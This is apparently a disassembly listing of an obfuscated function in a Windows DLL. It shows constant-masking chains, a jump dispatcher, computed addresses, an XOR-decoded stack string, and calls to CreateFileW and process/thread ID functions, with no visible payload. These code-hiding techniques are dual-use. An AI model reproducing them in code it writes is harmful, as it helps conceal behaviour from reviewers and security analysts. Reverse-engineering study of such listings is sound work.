rol eax, 0x15
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0x451d1c8e
pushf
not eax
add eax, 0xeebf2879
xor eax, 0xd70618ce
rol eax, 0x70
popf
pushf
not eax
add eax, 0xf23df567
xor eax, 0xdf19e6c2
rol eax, 0x55
popf
jmp 0x18005b810
mov ecx, 0x1f99857f
pushf
not ecx
add ecx, 0xc8c9a71e
xor ecx, 0xb5aa05f4
rol ecx, 0x17
popf
pushf
not ecx
add ecx, 0xdddea1b6
xor ecx, 0xdad45390
rol ecx, 0x12
popf
pushf
not ecx
add ecx, 0xe13cb7db
xor ecx, 0x836e1aa4
rol ecx, 0x8a
popf
pushf
not ecx
add ecx, 0xc77813df
xor ecx, 0xc3a26442
rol ecx, 0x1c
popf
jmp 0x18005c8ef
call qword [0x180022eb8]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa6568b7e
pushf
not edx
add edx, 0xe2cda0db
xor edx, 0xf23a816f
rol edx, 0xce
popf
pushf
not edx
add edx, 0x85387dfb
xor edx, 0xe52991b0
rol edx, 0x31
popf
pushf
not edx
add edx, 0xbc8feb99
xor edx, 0x84e06198
rol edx, 0x1c
popf
lea rcx, [0x1c176a41b]
pushf
sub rcx, 0x4174f633
popf
jmp 0x18005c963
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x18005c9c8
push rax
pushf
mov eax, 0x7c4677f3
pushf
not eax
add eax, 0x9d0cb0f9
xor eax, 0x8e8efaae
rol eax, 2
popf
pushf
not eax
add eax, 0xe0334e43
xor eax, 0xa25e541c
rol eax, 7
popf
pushf
not eax
add eax, 0xf3181be4
xor eax, 0x944380a5
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x974ed2d0
xor eax, 0xc049f316
rol eax, 0x1e
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0xa15a1bc7
pushf
not eax
add eax, 0xff5c1596
xor eax, 0xae0be82d
rol eax, 0x64
popf
pushf
not eax
add eax, 0xc06b8470
xor eax, 0xbe4a6630
rol eax, 0xcb
popf
jmp 0x18005b810
lea rdx, [0x1f8ff6cee]
pushf
sub rdx, 0x78febc7e
popf
lea rcx, [rbp + 0x3c0]
call fcn.18002fe96
nop
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.18005957c
nop
lea rcx, [rbp + 0x3c0]
call fcn.18008804c
nop
lea rcx, [rbp + 0x70]
call fcn.18004f919
jmp 0x18005ca3e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea rcx, [rbp + 0xe8]
call fcn.180075228
nop
mov r9d, 0x84b9b546
pushf
not r9d
add r9d, 0xb8509863
xor r9d, 0xc9445cdc
rol r9d, 0xe5
popf
pushf
not r9d
add r9d, 0xaaf10a7d
xor r9d, 0x992cc9e1
rol r9d, 0x1e
popf
pushf
not r9d
add r9d, 0xf4c3983a
xor r9d, 0xe4bfa8fc
rol r9d, 0xaa
popf
pushf
not r9d
add r9d, 0x8cf196b5
xor r9d, 0xe6cf7e19
rol r9d, 0x73
popf
lea r8, [0x1e41bebea]
pushf
sub r8, 0x641a3dea
popf
xor edx, edx
lea rcx, [rbp + 0xe8]
call fcn.18005d2c5
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.180060f8b
nop
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rcx, qword [rbp + 0x80]
call fcn.18002f9f8
nop
lea rcx, [rbp + 0x80]
call fcn.180052949
nop
lea rcx, [rbp + 0xe8]
call fcn.180052949
nop
jmp 0x18005cb25
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, eax
lea rcx, [rbp + 0x108]
call fcn.180075228
nop
mov r9d, 0xc7f74da7
pushf
not r9d
add r9d, 0xff07ca01
xor r9d, 0xe6a0bda4
rol r9d, 0x2a
popf
pushf
not r9d
add r9d, 0xde54c840
xor r9d, 0x81d63e04
rol r9d, 0x5a
popf
pushf
not r9d
add r9d, 0xd2da7345
xor r9d, 0xdc70b389
rol r9d, 0xb6
popf
lea r8, [0x1cffa287c]
pushf
sub r8, 0x4ff87a4c
popf
xor edx, edx
lea rcx, [rbp + 0x108]
call fcn.18005d2c5
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.180060f8b
nop
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rcx, qword [rbp + 0xa0]
call fcn.18002f9f8
nop
lea rcx, [rbp + 0xa0]
call fcn.180052949
nop
lea rcx, [rbp + 0x108]
call fcn.180052949
nop
mov dword [rbp - 0x54], 0x64
mov eax, dword [rbp - 0x54]
xor eax, 0xffffffc4
mov byte [rbp - 0x50], al
mov eax, dword [rbp - 0x54]
inc al
xor eax, 0xffffffda
mov byte [rbp - 0x4f], al
mov eax, dword [rbp - 0x54]
add al, 2
xor eax, 0xffffffba
mov byte [rbp - 0x4e], al
mov eax, dword [rbp - 0x54]
add al, 3
xor eax, 0xffffffcb
mov byte [rbp - 0x4d], al
mov eax, dword [rbp - 0x54]
add al, 4
xor eax, 0xffffffb1
mov byte [rbp - 0x4c], al
mov eax, dword [rbp - 0x54]
add al, 5
xor eax, 0xffffffa3
mov byte [rbp - 0x4b], al
mov eax, dword [rbp - 0x54]
add al, 6
xor eax, 0xffffffbb
mov byte [rbp - 0x4a], al
mov eax, dword [rbp - 0x54]
add al, 7
xor eax, 0xffffffa4
mov byte [rbp - 0x49], al
mov eax, dword [rbp - 0x54]
add al, 8
xor eax, 0xffffffcd
mov byte [rbp - 0x48], al
mov eax, dword [rbp - 0x54]
add al, 9
xor eax, 0xffffffea
mov byte [rbp - 0x47], al
mov eax, dword [rbp - 0x54]
add al, 0xa
xor eax, 0xffffffb1
mov byte [rbp - 0x46], al
mov eax, dword [rbp - 0x54]
add al, 0xb
xor eax, 0xffffffcf
mov byte [rbp - 0x45], al
xor eax, eax
mov byte [rbp - 0x44], al
movzx eax, byte [rbp - 0x50]
lea rcx, [rbp - 0x54]
call fcn.18006bc0f
mov rdx, rax
lea rcx, [rbp + 0x148]
call fcn.180060e9c
mov rbx, rax
mov qword [rbp + 0x3c0], rax
cmp dword [0x180022c38], 0
je 0x18005cce2
push rax
pushf
mov eax, 0xc3f6893a
pushf
not eax
add eax, 0x9b545d0f
xor eax, 0xa8187702
rol eax, 0x91
popf
pushf
not eax
add eax, 0x8025c3d8
xor eax, 0xd678c54d
rol eax, 0xc3
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0x218335f1
pushf
not eax
add eax, 0xfd78aca6
xor eax, 0xe6e3d55d
rol eax, 0x91
popf
pushf
not eax
add eax, 0xd94f3383
xor eax, 0x957cb955
rol eax, 0x4a
popf
jmp 0x18005b810
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1800480aa
mov rcx, rax
lea rdx, [0x1f6d7f189]
pushf
sub rdx, 0x76d6d319
popf
jmp 0x18005cd3a
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
push rax
pushf
mov eax, 0x1c85b79f
pushf
not eax
add eax, 0xd76c0d34
xor eax, 0xef159652
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xe0168569
xor eax, 0x9428fd99
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xf35a6839
xor eax, 0x91391d54
rol eax, 0x7c
popf
jmp 0x18005b810
mov rcx, rbx
call fcn.180052949
nop
cmp dword [rbp + 0x78], 0
je 0x18005cdef
push rax
pushf
mov eax, 0xd69627f0
pushf
not eax
add eax, 0xe389f086
xor eax, 0xf5a60831
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x9fd56bb5
xor eax, 0xc80c7c03
rol eax, 0x72
popf
pushf
not eax
add eax, 0xf24f4170
xor eax, 0x982b5362
rol eax, 0xe1
popf
pushf
not eax
add eax, 0xa2bc3183
xor eax, 0xfe09e661
rol eax, 0x5d
popf
jmp 0x18005b810
push rax
pushf
mov eax, 0x165e7175
pushf
not eax
add eax, 0x8b559147
xor eax, 0xd6d9e246
rol eax, 0x2a
popf
pushf
not eax
add eax, 0xca98a7b8
xor eax, 0xea42140d
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xc0ffa4e8
xor eax, 0x88e85e6e
rol eax, 0xdb
popf
jmp 0x18005b810
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret